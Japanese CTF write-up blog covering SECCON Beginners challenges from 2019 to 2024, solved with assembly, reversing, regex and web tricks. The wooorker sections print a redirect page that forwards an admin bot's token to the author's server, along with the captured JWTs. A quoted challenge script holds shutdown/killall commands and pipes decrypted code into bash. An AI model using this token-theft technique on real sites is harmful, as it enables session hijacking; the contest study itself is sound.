SECCON Beginners CTF 2024 WriteUpのようなもの
SECCON Beginners CTF 2024に参加しました!
SECCON Beginners CTF 2024にチームMIS.Xとして参加し、890点で83位(/962)でした!
チームメイトはsoeki, siro53, eren, kiyoshi0205でした。

SECCON Challenges
解けたもの
[reversing] assemble
本当に、ただの、アセンブリを書くだけの問題。ブリブリ💩
条件として
1. Only mov, push, syscall instructions can be used. 2. The number of instructions should be less than 25.
が存在する。
で、計四問出題され、それをクリアするとフラグを獲得できる。
Challenge 1. Please write 0x123 to RAX!
mov rax, 0x123
Challenge 2. Please write 0x123 to RAX and push it on stack!
mov rax, 0x123 push rax
Challenge 3. Please use syscall to print Hello on stdout!
mov rax, 0x6F6C6C6548 push rax mov rax, 1 mov rdi, 1 mov rsi, rsp mov rdx, 6 syscall
Challenge 4. Please read flag.txt file and print it to stdout!
mov rbx, 0x0 push rbx mov rbx, 0x7478742E67616C66 push rbx mov rax, 0x02 mov rdi, rsp mov rsi, 0x00 syscall mov rdi, rax mov rax, 0x00 mov rsi, rsp mov rdx, 100 syscall mov rax, 1 mov rdi, 1 mov rsi, rsp mov rdx, 52 syscall
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
無限に検索を行ってぶりぶりざえもんになりました。
【参考文献】
x86 Assembly/Interfacing with Linux - Wikibooks, open books for an open world
【アセンブラ】システムコールの呼び出し方メモ #Linux - Qiita
システムコール番号を特定する方法 ausyscall #Linux - Qiita

[misc] clamre
マルウェアを検知するためのソフトウェアらしい(知らない)
文字列を検索してそれと一致するかどうかを試しているだけみたい。(←解いてる最中に気づいた)
そのどれと一致するか、というのを渡されるので、そこからフラグを取り出せばクリア。
渡されたファイル(flag.ldb)の中に書かれていた文字列 :
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
当然なんもわからないので clamre やらで調べていると、 clamscan というコマンドが使うのと同じファイル形式っぽいのが判明。
もっと無限に調べると、 .cvd という拡張子のファイルが flag.ldb と同等のものと判明。
さらに無限に調べると Content-based Signature Format - ClamAV Documentation にぶち当たった。
この記事のおかげで、これがただの正規表現であることに気づいた。
必要な部分だけ抜き出してエスケープされているところをアルファベットに置き換えてみると
((ctf)(4)(b)(\{B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)\})
となる。
後はこれにマッチする文字列を頑張って作りだせば完了。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
【参考文献】
Content-based Signature Format - ClamAV Documentation
グループと後方参照 - JavaScript | MDN
[web] wooorker
adminのみflagを取得できる認可サービスを作りました!
らしい。

?next=/の場所にリダイレクトされるようになっている。
このリダイレクト先は好きにいじることができ、
?next=https://google.com/
にするとhttps://google.comにリダイレクトされる。
また、この際、後ろにtoken=hogehogeがついてない場合に限り生成したトークンをくっつけてアクセスを行う。
例 : https://www.google.com/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODUyNzc5OCwiZXhwIjoxNzE4NTMxMzk4fQ.DjSGkjmCymENwpJ0z_1NHlTdQr0G8xZz8pG9Msw6E5c
ただ、現状ではadminのパスワードはわからない。
ところがなんと便利なことに勝手にADMINでログインしてくれるbot君が存在している!

困った、困りまくった、Google社員になればいいのか???
まぁそんなことはなく、都合よく自宅に存在するHTTPサーバに向けてリダイレクトさせればよい。
ので、ログインbotくんに?next=https://<私の家のサーバのIP addr>/にアクセスしてもらえばトークンを盗める。
<相手のIP addr> - - [16/Jun/2024:01:51:23 +0900] "GET / HTTP/1.1" 200 4458 "https://<私の家のサーバのIP addr>/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDcwMjgxLCJleHAiOjE3MTg0NzM4ODF9.4hZKM09wNTwpTvFDqRYl9L_nOuQ1dIyLBT8fflaZAao" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.26 Safari/537.36"
トークン、ゲットだぜ!
後はhttps://wooorker.beginners.seccon.games/flag.html?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDcwMjgxLCJleHAiOjE3MTg0NzM4ODF9.4hZKM09wNTwpTvFDqRYl9L_nOuQ1dIyLBT8fflaZAaoにアクセスしてフラグをGETする。
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
[web] wooorker2
wooorkerと似た問題だが、?token=で渡されるのではなく、#token=で渡されるようになった。
そのため、wooorkerと同様のことをやったのではトークンを盗めない。
え?トークンがURLに含まれてくれないからトークンを盗めない?
トークンがなければトークンを作ればいいじゃない。
ということで、#token=の中身をURLに含めるようにリダイレクトさせるページを作り、そこにおバカログインbotくんにアクセスしてもらいました。
<!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>Wooorker2</title> </head> <body> <h1>Wooorker2 - Flag</h1> <div id="flagContainer"></div> <script src="flag2.js"></script> </body> </html>
document.addEventListener('DOMContentLoaded', async() => { const token = location.hash.split('=')[1]; if (!token) { document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>"; return; } window.location.href = `https://<私の家のサーバのIP addr>/?token=${token}`; });
<相手のIP addr> - - [16/Jun/2024:12:38:47 +0900] "GET / HTTP/1.1" 200 4458 "https://<私の家のサーバのIP addr>/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTA5MTI4LCJleHAiOjE3MTg1MTI3Mjh9.-K-gAQhMRQAC5h0m8Ohaz4hEHKOvzOugJtS0mZJgBqo" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.26 Safari/537.36"
無事ゲット也
で、wooorker同様 https://wooorker.beginners.seccon.games/flag.html#token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTA5MTI4LCJleHAiOjE3MTg1MTI3Mjh9.-K-gAQhMRQAC5h0m8Ohaz4hEHKOvzOugJtS0mZJgBqoにアクセスしてフラグゲット。
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
完走した感想 (完走したとは言っていない)
家に都合よくHTTPサーバが転がってて助かりました、過去の私に感謝!
Reversing、なんかどんどん私の知らない技術沢山になっててついていけません。
SECCON Beginners CTF 2021 WriteUpのようなもの
SECCON Beginners CTF 2021に参加しました!
SECCON Beginners CTF 2021にチームM15.(W|X)として参加し、3327点で23位(/943)でした!
チームメイトはsoeki, siro53, eren53でした。

嬉しい
SECCON Challenges
解けたもの
[reversing] only_read
名前の通り、challを読めばいい(機械語で)
ま、読むわけないんですけどね機械語でなんて。
ということでghidraにかけます
途中省略しています。
if (((((((char)local_28 == 'c') && (local_28._1_1_ == 't')) && (local_28._2_1_ == 'f')) && (((local_28._3_1_ == '4' && (local_28._4_1_ == 'b')) && ((local_28._5_1_ == '{' && ((local_28._6_1_ == 'c' && (local_28._7_1_ == '0')))))))) && (((char)local_20 == 'n' && ((((((local_20._1_1_ == '5' && (local_20._2_1_ == 't')) && (local_20._3_1_ == '4')) && ((local_20._4_1_ == 'n' && (local_20._5_1_ == 't')))) && ((local_20._6_1_ == '_' && ((local_20._7_1_ == 'f' && ((char)local_18 == '0')))))) && (local_18._1_1_ == 'l')))))) && ((((local_18._2_1_ == 'd' && (local_18._3_1_ == '1')) && ((char)local_14 == 'n')) && ((local_14._1_1_ == 'g' && (local_12 == '}')))))) { puts("Correct"); }
全部書いてありますね!
ctf4b{c0n5t4nt_f0ld1ng}
[reversing] children
10個の子プロセスを生成し、そのPIDを入力する問題。
ps auxコマンドでプロセスを確認してPIDを入れるだけの簡単なお仕事。
最後にプロセスをいくつ生成した?って聞かれるけどそれもps auxで出てきたのを数えれば終わり。
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
[reversing] please_not_trace_me
これはプログラムはちゃんとflagを生成しているのにもかかわらず出力しないタイプのやつ。
でも問題名の通りトレースするとトレースすんなやゴラって怒られます。(prease not trace me...っていう文言でやさしかったわ)
ということでいつものghidra
local_30 = 9; _global_argv = param_2; _global_argc = param_1; _global_envp = param_3; do { switch(local_30) { case 0: local_50 = 2; local_30 = 0xb; break; case 2: local_30 = _1_main_flag_func_0(local_38,0xffffffffffffffff,0x10,5); break; case 5: if (local_50 == 6) { local_30 = 0x12; } else { local_30 = 8; } break; case 6: if (local_40 == 0) { local_30 = 0; } else { local_30 = 0xb; } break; case 8: fwrite("prease not trace me...\n",1,0x17,stderr); /* WARNING: Subroutine does not return */ exit(1); case 9: local_54 = 0; local_30 = 10; break; case 10: switch(local_54) { case 0: local_30 = 0x16; break; case 1: local_30 = 0xf; break; case 2: local_30 = 0x13; break; case 3: local_30 = 0x14; break; case 4: local_30 = 0x11; break; case 5: local_30 = 0x15; break; default: local_30 = 0x12; } break; case 0xb: local_38 = ptrace(PTRACE_TRACEME,0,1,0); local_30 = 2; break; case 0xf: local_48 = malloc(0x10); local_30 = 0x12; break; case 0x10: local_50 = local_50 * 3; local_30 = 5; break; case 0x11: puts("flag decrypted. bye."); local_30 = 0x12; break; case 0x12: local_54 = local_54 + 1; local_30 = 10; break; case 0x13: generate_key(local_48); local_30 = 0x12; break; case 0x14: rc4(e,local_48); local_30 = 0x12; break; case 0x15: /* WARNING: Subroutine does not return */ exit(0); case 0x16: local_50 = 0; local_40 = ptrace(PTRACE_TRACEME,0,1,0); local_30 = 6; } } while( true );
これを見るとlocal_30というものでswitch文を回していることが分かる。
なので、local_30の値を弄ってptraceを通らないようにしてあげればいい。
具体的には0x0F→0x13→0x14って通ればよい。
で、弄ってからトレースする
ctf4b{d1d_y0u_d3crypt_rc4?}
[reversing] firmware
何かのファームウェアのバイナリが落ちてくる。(firmware.bin)
で、これは複数のファイルを一つにまとめたものであることが分かる。
なので、全部分割しちゃえ!!!ってことで分割をするのです。
firmware.binの1行目途中からファイル名とそのMD5ハッシュが記録されているのでそれを頼りに分割する。
んで、こうなる

recv(local_11d8,abStack4116,0x1000,0); printf("%s",abStack4116); memcpy(auStack4520,&DAT_00010ea4,0xf4); __n = strlen((char *)abStack4116); if (__n != 0x3d) { local_10b4 = 0x6f636e49; uStack4272 = 0x63657272; uStack4268 = 0x61702074; uStack4264 = 0x6f777373; local_10a4 = 0xa2e6472; local_10a0 = 0; __n = strlen((char *)&local_10b4); send(local_11d8,&local_10b4,__n,0); close(local_11d8); } local_11e0 = 0; while (local_11e0 < 0x3d) { if ((uint)(abStack4116[local_11e0] ^ 0x53) != auStack4520[local_11e0]) { local_10b4 = 0x6f636e49; uStack4272 = 0x63657272; uStack4268 = 0x61702074; uStack4264 = 0x6f777373; local_10a4 = 0xa2e6472; local_10a0 = 0; __n = strlen((char *)&local_10b4); send(local_11d8,&local_10b4,__n,0); close(local_11d8); } local_11e0 = local_11e0 + 1; } local_10b4 = 0x72726f43; uStack4272 = 0x20746365; uStack4268 = 0x73736170; uStack4264 = 0x64726f77; local_10a4 = 0xa212121; local_10a0 = 0; __n = strlen((char *)&local_10b4); send(local_11d8,&local_10b4,__n,0); close(local_11d8);
すると、文字数(0x3d)と文字列を判別していることが分かる。
文字列については0x53とxor取ってから判別しているので、プログラムに埋め込まれているものに0x53でxorして出力。
#include <stdio.h> int main(int argc, char *argv[]) { char tmp[] = {0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3a, 0x63, 0x27, 0x0c, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36, 0x0c, 0x35, 0x3a, 0x21, 0x3e, 0x24, 0x67, 0x21, 0x36, 0x0c, 0x32, 0x3d, 0x32, 0x62, 0x2a, 0x20, 0x3a, 0x60, 0x0c, 0x21, 0x36, 0x25, 0x60, 0x32, 0x62, 0x20, 0x0c, 0x32, 0x0c, 0x3f, 0x63, 0x27, 0x0c, 0x3c, 0x35, 0x0c, 0x66, 0x36, 0x30, 0x21, 0x36, 0x64, 0x20, 0x2e, 0x59}; int s = 61; for(int i = 0; i < s; i++) { printf("%c", (tmp[i] ^ 0x53)); } printf("\n"); }
で、終わり。
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
[misc] Mail_Address_Validator
rubyのプログラムを拾えるので見てみると、正規表現を使ってチェックしてるだけ。
チェックがタイムアウト(5秒)するとflagが落ちてくるらしい。
正規表現でタイムアウトさせるためにクソ長メールアドレスっぽい文字列を入れた。(約80万文字)
するとあっさり表示された。
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
[misc] fly
Wolf RPGエディタのゲーム内のオブジェクトにflagが隠されているのだけが分かる。
でも壁があって通り抜けられないし煽ってくるキャラクターもいる。

Test_Of_Mainを指定するとデバッグモードで起動することができるので、これを使わない手はない。
デバッグモード時では、F11キーを押すことで固定データのみ更新することができる(可変データはそのまま残る)。
ということで、Wolf RPGエディタをダウンロードした時にあったサンプルのデータを利用して起動する。
この時、Data.wolfはData.wolf1などと改名しておき、Game.exeから見えないようにしておく。

Game.exe Test_Of_Mainコマンドを利用して起動する。
するとサンプルデータのゲームが起動するので、スタートする。

Data.wolf1をData.wolfに戻してF11キーを押すと楽しいことが起きる。
動けない場合は動けるような場所に最初から移動しておいてください。


なので、サンプルデータのゲームで場面転換しておくといい。
サンプルデータのゲームで上へ行き、上のマップへ移動してください。

Data.wolf1をData.wolfに戻してF11キーを押す。
すると…?

ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6}
[misc] depixelization
pythonのプログラムとflagの画像が落とせる。
ここで普通はプログラムで行っている処理の逆を行いflagを復元しよう!となるだろう。
私はこのプログラムには好きな文字列に同様の処理をすることができるのに気付いたので、全アルファベットと数字と{}_を処理した画像を出力した。

import javax.imageio.ImageIO; import java.awt.image.BufferedImage; import java.io.File; public class Main { public static void main(String[] args) { try { String flagFile = "ファイル名書き換えて"; String alphabetFile = "ファイル名書き換えて"; BufferedImage flagImg = ImageIO.read(new File(flagFile)); BufferedImage alphabetImg = ImageIO.read(new File(alphabetFile)); int flagWidth = flagImg.getWidth(); int alphabetWidth = alphabetImg.getWidth(); for (int i = 0; i < flagWidth; i += 85) { boolean match = false; int matchnum = 0; for (int j = 0; j < alphabetWidth && !match; j += 85) { boolean ok = true; for (int x = 5; x < 85 && ok; x += 10) { for (int y = 5; y < 100 && ok; y += 10) { if (flagImg.getRGB(i + x, y) != alphabetImg.getRGB(j + x, y)) { ok = false; } } } if (ok) { match = true; matchnum = j / 85; } } if (match) { if (matchnum < 'z' - 'a') { System.out.print((char) (matchnum + 'a')); } else { matchnum = matchnum - 'z' + 'a' - 1; if (matchnum < 10) { System.out.print(matchnum); } else { char a = ' '; switch(matchnum) { case 10: a = '{'; break; case 11: a = '}'; break; case 12: a = '_'; break; } System.out.print(a); } } } else { System.out.print("."); } } } catch (Exception e) { e.printStackTrace(); } } }
これだとnとmの判別がつかないらしく、実際nがmとして認識された。
ctf4b{1f_y0u_p1x_y0u_c4m_d3p1x} と出力されたが、間違いだったのでmをnに修正。
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
SECCONの感想
今回は前回と比べ倍以上の問題が解けたので大満足
PWNは前回同様解けませんでした。
SECCON Beginners CTF 2020 WriteUpのようなもの
SECCON Beginners CTF 2020に参加しました!
SECCON Beginners CTF 2020にチームMIS.Wとしてsoeki、musaprg、shiro、tommi、aoiと参加しました。結果は700点、144位(/1009)でした。
WriteUpとか言っていますが、力業のごり押しなので悪しからず。想定解は私以外の人の方がもっと詳しくわかりやすく書いてあると思います。
SECCON Challenges
解けたもの
[MISC] emoemoencode
emoemoencodeをとりあえず
$ cat emoemoencode.txt
してみました。すると絵文字がたくさん現れてきました。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
栗が多い。ま、当然なんのこっちゃわからないのでバイナリエディタを使ってバイナリを見てみました。

ctf4b{のバイナリと比較してみましたが、変換法則が見つからなかったので断念。
次に半角英数を見てみました。ctf4b{のバイナリと比べてみると、いい感じに規則が見つかりました。
F0 9F 8D XXの場合は
XXがA0なら全体を60に置き換え、B0なら全体を70に置き換え、のように行いました。
例: F0 9F 8D A0 → 60
F0 9F 8C XXの場合は
XXがB0なら全体を30に置き換え。
例: F0 9F 8C B0 → 30
これによって得られたフラッグは
ctf4b{stegan0graphy_by_em000000ji}
[REVERSING] mask
とりあえず./maskをして実行すると、
$ ./mask Usage: ./mask [FLAG]
と返ってくる。ので今度は[FLAG]に文字を入れて実行。
$ ./mask ctf4b{} Putting on masks... atd4`qu c`b bki Wrong FLAG. Try again.
と返ってきた。何かしら変換を行って2つの何かと比較しているようだ。
$ strings mask
を実行し、文字列を見てみると怪しい2つの文字列を発見。
atd4`qdedtUpetepqeUdaaeUeaqau c`b bk`kj`KbababcaKbacaKiacki
あとはこれに合うように[FLAG]を決めれば良いと思い、すべてのアルファベットを探索。 ← これを力業という。
| 元の文字 | 変化後A | 変化後B |
|---|---|---|
| a | a | a |
| b | ` | b |
| c | a | c |
| d | d | ` |
| e | e | a |
| f | d | b |
| g | e | c |
| h | ` | h |
| i | a | i |
| j | ` | j |
| k | a | k |
| l | d | h |
| m | e | i |
| n | d | j |
| o | e | k |
| p | p | ` |
| q | q | a |
| r | p | b |
| s | q | c |
| t | t | ` |
| u | u | a |
| v | t | b |
| w | u | c |
| x | p | h |
| y | q | i |
| z | p | j |
ここから存在しないものは記号をテキトーに入れていき、得られたフラッグは
ctf4b{dont_reverse_face_mask}
[REVERSING] yakisoba
とりあえず./yakisobaをして実行すると、
$ ./yakisoba
FLAG: ctf4b{}
Wrong!
FLAGにはとりあえずテキトーに入れてみた。
今回はmaskとは違い、何も出てこない。strings yakisobaをしても出てこない。
何も出てこないのは困るので逆アセンブルしました。
IDAを使用して逆アセンブルをし、グラフとして出てきたもの見ていたら、1文字ずつ正誤判定しているようでした。
ので、グラフをたどっていって無事フラグが手に入りました。
ctf4b{sp4gh3tt1_r1pp3r1n0}

え?アセンブリを読めって?嫌だよ面倒くさい()
解けなかったもの
[REVERSING] siblangs
siblangs.apkだったのでとりあえず手持ちのXperia XZ Premiumにインストール、実行。



とりあえず動くVALIDATE Bの方を使うことにした。
.apkファイルはただの.zipなので解凍して、そして中のソースファイル(classes.dex)を.jarに変換後、デコンパイルしてみた。
そこで死ぬほど怪しいものを発見。
package es.o0i.challengeapp.nativemodule; import com.facebook.react.bridge.Callback; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReactContextBaseJavaModule; import com.facebook.react.bridge.ReactMethod; import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; public class ValidateFlagModule extends ReactContextBaseJavaModule { private static final int GCM_IV_LENGTH = 12; private final ReactApplicationContext reactContext; private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); private final SecureRandom secureRandom = new SecureRandom(); public ValidateFlagModule(ReactApplicationContext paramReactApplicationContext) { super(paramReactApplicationContext); this.reactContext = paramReactApplicationContext; } public String getName() { return "ValidateFlagModule"; } @ReactMethod public void validate(String paramString, Callback paramCallback) { byte[] arrayOfByte = new byte[43]; arrayOfByte[0] = 95; arrayOfByte[1] = -59; arrayOfByte[2] = -20; arrayOfByte[3] = -93; arrayOfByte[4] = -70; arrayOfByte[5] = 0; arrayOfByte[6] = -32; arrayOfByte[7] = -93; arrayOfByte[8] = -23; arrayOfByte[9] = 63; arrayOfByte[10] = -9; arrayOfByte[11] = 60; arrayOfByte[12] = 86; arrayOfByte[13] = 123; arrayOfByte[14] = -61; arrayOfByte[15] = -8; arrayOfByte[16] = 17; arrayOfByte[17] = -113; arrayOfByte[18] = -106; arrayOfByte[19] = 28; arrayOfByte[20] = 99; arrayOfByte[21] = -72; arrayOfByte[22] = -3; arrayOfByte[23] = 1; arrayOfByte[24] = -41; arrayOfByte[25] = -123; arrayOfByte[26] = 17; arrayOfByte[27] = 93; arrayOfByte[28] = -36; arrayOfByte[29] = 45; arrayOfByte[30] = 18; arrayOfByte[31] = 71; arrayOfByte[32] = 61; arrayOfByte[33] = 70; arrayOfByte[34] = -117; arrayOfByte[35] = -55; arrayOfByte[36] = 107; arrayOfByte[37] = -75; arrayOfByte[38] = -89; arrayOfByte[39] = 3; arrayOfByte[40] = 94; arrayOfByte[41] = -71; arrayOfByte[42] = 30; try { Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12); cipher.init(2, this.secretKey, gCMParameterSpec); arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12); byte[] arrayOfByte1 = paramString.getBytes(); for (int i = 0;; i++) { if (i < arrayOfByte.length) { if (arrayOfByte1[i + 22] != arrayOfByte[i]) { paramCallback.invoke(new Object[] { Boolean.valueOf(false) }); return; } } else { paramCallback.invoke(new Object[] { Boolean.valueOf(true) }); return; } } } catch (Exception exception) { paramCallback.invoke(new Object[] { Boolean.valueOf(false) }); return; } } }
どうもエンコードされたByte列をデコードしてから入力文字列の23文字目から比較しているらしい。
ということで自前でJavaでその部分だけ実行してみた。
import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; class cyph { private static final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); public static void main(String args[]) throws Exception { byte[] arrayOfByte = new byte[43]; arrayOfByte[0] = 95; arrayOfByte[1] = -59; arrayOfByte[2] = -20; arrayOfByte[3] = -93; arrayOfByte[4] = -70; arrayOfByte[5] = 0; arrayOfByte[6] = -32; arrayOfByte[7] = -93; arrayOfByte[8] = -23; arrayOfByte[9] = 63; arrayOfByte[10] = -9; arrayOfByte[11] = 60; arrayOfByte[12] = 86; arrayOfByte[13] = 123; arrayOfByte[14] = -61; arrayOfByte[15] = -8; arrayOfByte[16] = 17; arrayOfByte[17] = -113; arrayOfByte[18] = -106; arrayOfByte[19] = 28; arrayOfByte[20] = 99; arrayOfByte[21] = -72; arrayOfByte[22] = -3; arrayOfByte[23] = 1; arrayOfByte[24] = -41; arrayOfByte[25] = -123; arrayOfByte[26] = 17; arrayOfByte[27] = 93; arrayOfByte[28] = -36; arrayOfByte[29] = 45; arrayOfByte[30] = 18; arrayOfByte[31] = 71; arrayOfByte[32] = 61; arrayOfByte[33] = 70; arrayOfByte[34] = -117; arrayOfByte[35] = -55; arrayOfByte[36] = 107; arrayOfByte[37] = -75; arrayOfByte[38] = -89; arrayOfByte[39] = 3; arrayOfByte[40] = 94; arrayOfByte[41] = -71; arrayOfByte[42] = 30; Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12); cipher.init(2, secretKey, gCMParameterSpec); arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12); String text = new String(arrayOfByte); System.out.println(text); } }
すると
1pt_3verywhere}
とだけ出てきた。後ろ半分はこれでわかった。

くやちーーーーー
SECCONを終えて
REVERSING、MISCが解けてちょっと嬉しい。前回はMISCしか解けなかったので…
PWNやりたいって言っていた気がするけどまだ実力不足で何もわかりませんでした(´;ω;`)
SECCONに初めて参加した参加記録 【SECCON 2019】
SECCONに参加しました!
SECCON2019に、チームMIS.Wとしてmusaprg、soeki、shiroと一緒に参加しました。結果は456点で148位でした。
SECCON Challenges
Beeeeeeeeeer
まずはBeeeeeeeeeerです。 Let's decode! と問題分に書かれています。
echo -e "\033#8" sleep 1 C=$(tput cols) L=$(tput lines) for ID in $(seq $(($L * $C * 6))); do x=$(($RANDOM % $C)) y=$(($RANDOM % $L)) printf "\033[${y};${x}f " done for ID in $(seq $(($L * $C * 6))); do x=$(($RANDOM % $C)) y=$(($RANDOM % $L)) printf "\033[${y};${x}fF" done clear echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo= | base64 -d read $'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK | base64 -d) echo $- | grep x && exit $(echo =btB | rev | tr A-Za-z N-ZA-Mn-za-m | base64 -d) | $(echo =bNpyW3M | rev | tr A-Za-z N-ZA-Mn-za-m | base64 -d) $(echo XRKY | rev | tr A-Za-z N-ZA-Mn-za-m | base64 -d) $(echo =ogO | rev | base64 -d) && exit if [ -z "$1" ]; then ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75'; else ID="$1"; fi if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null; then :; else exit; fi for i in $($'\x73\x65\x71' $((RANDOM % 10))); do $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300)); done $'\145\143\150\157' $- | $(echo =oAclJ3Z | rev | base64 -d) $(echo =oAe | rev | base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64') $(echo =btB | rev | tr A-Za-z N-ZA-Mn-za-m | base64 -d) | $(echo M3WypNb= | tr A-Za-z N-ZA-Mn-za-m | base64 -d) $(echo YKRX | tr A-Za-z N-ZA-Mn-za-m | base64 -d) $(echo Btb= | tr A-Za-z N-ZA-Mn-za-m | base64 -d) && exit $'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK | base64 -d)
Beeeeeeeeeerを見る限り、Shell Scriptであることがわかるので、実行権限を与えて実行してみると、
Let's decording!(≧∀≦*)
というメッセージが。
また、 read 以降の文が全てエンコードされていることがわかります。なのでとりあえずdecodeします。
read trap '' 1 2 3 15 18 19 20 echo $- | grep x && exit : | grep -q : && exit if [ -z "$1" ]; then ID=nandoku; else ID="$1"; fi if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null; then :; else exit; fi for i in $(seq $((RANDOM % 10))); do sleep $((RANDOM % 300)); done echo $- | grep x && exit : | grep -q : && exit export S1=hogefuga
いらないコードばっかりですね。必要なのは export S1=hogefuga だけです。 なんで執拗にexitさせてくるんだ
更にその後のコードもデコードしてみると、
: killall sh : shutdown $(: pkill sh) : shutdown : shutdown : poweroff : poweroff : exit : poweroff : shutdown : shutdown : shutdown : pkill sh : shutdown
こうなっていました。これ以上にこの並びが続いていて、どんだけ電源落としたいんだってなります…
重要なのは export S1=hogefuga とその後のechoの1行だけです。
その場所だけ隔離してbashで実行してみたところ、ビープ音のなった回数をランダムで聞いてくるとても面倒くさいプログラムにぶち当たります。(間違えるとexitされるのでたちが悪い)
| base64 -d | gunzip | bash
を
| base64 -d | gunzip > Beeeeeeeeeer2.sh
として出力してみると
for k in $(seq $((RANDOM % 10 + 1))); do l=$((RANDOM % 10 + 1)) for m in $($(echo ==gCxV2c | rev | base64 -d) $l); do echo -ne '\a' sleep 1 done echo "How many beeps?" read n </dev/tty export n if [ "$n" -ne "$l" ]; then exit; fi done echo -ne '\a' sleep 1 echo -ne '\a' sleep 1 echo -ne '\a' sleep 1 echo "How many beeps?" read n </dev/tty export n
何だこれは!!!私の邪魔をしてくるコードがたくさん
export n だけが必要であり、n=3であることがわかるので、 export 3 だけを残して削除します。
更にその後にもechoがあり、そこがまた重要なのでそこだけを隔離して実行してみます。
Enter the password と出てきますが、パスワードなんて知りません。ので、やっぱり
| base64 -d | openssl aes-256-cbc -d -pass pass:$(echo -n $n | md5sum | cut -c2,3,5,12) -md md5 2>/dev/null | bash
を
| base64 -d | openssl aes-256-cbc -d -pass pass:cccc -md md5 2>/dev/null > Beeeeeeeeeer3.sh
として見てみます。
__=$(. 2>&1);__=${__##*.};__=$(. 2>&1);__=${__##*.};${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[$$/$$])):$((___=___^___||++___))}${__:$[$[$$/$$]<<$[$$/$$]<<$[$$/$$]]:$((___=___^___||++___))}${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]])):$((___=___^___||++___))} -- {z..A};${@:$((____=(____^____||++____)+
のような感じで、何もわかりません。が、一番最後に echo SECCON{$S1$n$_____} という文字列を発見。
S1 = hogefuga
n = 3
であるので、最後の____だけわかればいいことになります。
またこれをデコードすると
